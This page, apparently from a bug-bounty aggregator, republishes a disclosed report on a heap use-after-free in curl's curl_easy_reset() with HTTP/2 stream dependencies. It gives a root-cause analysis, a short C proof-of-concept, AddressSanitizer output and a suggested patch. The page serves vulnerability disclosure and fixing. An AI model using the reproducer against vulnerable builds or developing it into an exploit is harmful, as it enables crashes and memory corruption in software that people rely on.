Skip to content
Memory corruption Disclosed report Advanced CVE-2026-10536

CVE-2026-10536: HTTP/2 stream-dependency tree UAF

curl_easy_reset() cleared the handle's HTTP/2 stream-dependency settings without first unlinking the handle from its peers' dependency trees, leaving dangling pointers. A later cleanup of a peer handle dereferenced the freed handle, causing a heap use-after-free.

giant_anteater Follow

Originally disclosed on HackerOne

  • Triaged in 12 days
  • Fixed in 34 days
  • Disclosed after 35 days

Use-after-free in curl_easy_reset() with HTTP/2 stream-dependency tree

Hi all,

We've found an issue in lib/easy.c where curl_easy_reset() bypasses data_priority_cleanup() before clearing data->set, leaving the HTTP/2 stream-dependency tree with dangling pointers to the reset handle.

The current curl_easy_reset() at lib/easy.c:1090-1098 does:

C
Curl_freeset(data);
memset(&data->set, 0, sizeof(struct UserDefined));
Curl_init_userdefined(data);

This zeroes data->set.priority.{parent,children} without first walking the dependency tree to remove this handle from its peers' children lists. After a subsequent curl_easy_cleanup(), peers still reference the freed handle through their priority.children list and dereference it from data_priority_cleanup → priority_remove_child (lib/url.c:3094, 3022).

The defect dates to commit 71b7e01610 (2022-12-30, "lib: connect/h2/h3 refactor"), which converted set.priority into a linked tree and introduced Curl_data_priority_cleanup() in lib/url.c, but did not add a call to it from curl_easy_reset(). Reachable through documented public APIs only, on any USE_NGHTTP2 build.

Reproducer

Build curl with ASan:

Shell
autoreconf -fi
mkdir build && cd build
CFLAGS='-O1 -g -fsanitize=address' LDFLAGS='-fsanitize=address' CC=clang \
  ../configure --with-openssl --enable-debug --enable-maintainer-mode --disable-shared
make -j

Save as poc.c:

C
#include <curl/curl.h>
int main(void) {
    curl_global_init(CURL_GLOBAL_DEFAULT);
    CURL *A = curl_easy_init();
    CURL *B = curl_easy_init();
    curl_easy_setopt(B, CURLOPT_STREAM_DEPENDS, A);
    curl_easy_reset(B);
    curl_easy_cleanup(B);
    curl_easy_cleanup(A);
    curl_global_cleanup();
    return 0;
}

Compile and run:

Shell
clang -fsanitize=address -g -I../include poc.c \
  ./lib/.libs/libcurl.a -lssl -lcrypto -lz -lnghttp2 -lidn2 -lzstd \
  -lbrotlidec -lldap -llber -o poc
./poc

Observed output

=================================================================
==654355==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ac36ebe2148 at pc 0x614bec3b354f bp 0x7fff212fbea0 sp 0x7fff212fbe98
READ of size 8 at 0x7ac36ebe2148 thread T0
    #0 priority_remove_child   lib/url.c:3022:3
    #1 data_priority_cleanup   lib/url.c:3094:5
    #2 Curl_close              lib/url.c:278:3
    #3 curl_easy_cleanup       lib/easy.c:844:5
    #4 main                    poc.c

0x7ac36ebe2148 is located 2120 bytes inside of 5096-byte region [0x7ac36ebe1900,0x7ac36ebe2ce8)
freed by thread T0 here:
    #0 free
    #1 Curl_close              lib/url.c:311:3
    #2 curl_easy_cleanup       lib/easy.c:844:5
    #3 main                    poc.c  (curl_easy_cleanup(B))

previously allocated by thread T0 here:
    #0 calloc
    #1 curl_dbg_calloc         lib/memdebug.c:254:9
    #2 Curl_open               lib/url.c:463:10
    #3 curl_easy_init          lib/easy.c:350:12
    #4 main                    poc.c

SUMMARY: AddressSanitizer: heap-use-after-free lib/url.c:3022:3 in priority_remove_child

The 5096-byte region freed by the cleanup of B is the entire struct Curl_easy. The subsequent cleanup of A then walks A->set.priority.children, finds the stale node whose ->data points into the freed region, and reads through it at lib/url.c:3022 and writes through it at lib/url.c:3034-3035.

Suggested fix

Expose the existing static data_priority_cleanup helper and call it from curl_easy_reset, the same way Curl_close already does:

Diff
--- a/lib/url.c
+++ b/lib/url.c
@@ -120,9 +120,9 @@
 #ifdef USE_NGHTTP2
-static void data_priority_cleanup(struct Curl_easy *data);
+void Curl_data_priority_cleanup(struct Curl_easy *data);
 #else
-#define data_priority_cleanup(x)
+#define Curl_data_priority_cleanup(x)
 #endif
@@ -275,7 +275,7 @@
   /* destroy data->state.priority for HTTP/2 dep tree */
-  data_priority_cleanup(data);
+  Curl_data_priority_cleanup(data);
@@ -3087,7 +3087,7 @@
-static void data_priority_cleanup(struct Curl_easy *data)
+void Curl_data_priority_cleanup(struct Curl_easy *data)

--- a/lib/easy.c
+++ b/lib/easy.c
@@ -1093,6 +1093,7 @@ void curl_easy_reset(CURL *curl)
   /* clear all meta data */
   Curl_meta_reset(data);
+  Curl_data_priority_cleanup(data);
   /* zero out UserDefined data: */
   Curl_freeset(data);
   memset(&data->set, 0, sizeof(struct UserDefined));

Cheers, AISLE Research Team

The original report as published on HackerOne, by giant_anteater. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely curl_easy_reset() zeroed the priority tree fields without calling the existing cleanup helper that unlinks the handle from its peers, so peers kept stale pointers.

Impact

The stale pointer is read and written during cleanup of the peer handle, so a program using these public APIs could crash or corrupt memory; the report does not claim remote exploitation.

What the attacker needed

Program uses curl_easy_reset on a dependent handle; HTTP/2-enabled curl build

The fix

The existing priority cleanup helper should be exposed and called from curl_easy_reset() before the settings are cleared, as Curl_close already does.

How it was found

  1. Build curl with AddressSanitizer enabled.
  2. Create two easy handles and set one to depend on the other via the stream-depends option.
  3. Reset the dependent handle, then clean up both handles.
  4. Observe the use-after-free reported by AddressSanitizer.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Resetting a handle wiped its own record of the link but left other handles pointing at it, so cleaning them up later read already-freed memory, which can crash the program.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by giant_anteater

View all

93 more disclosed reports, best first.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.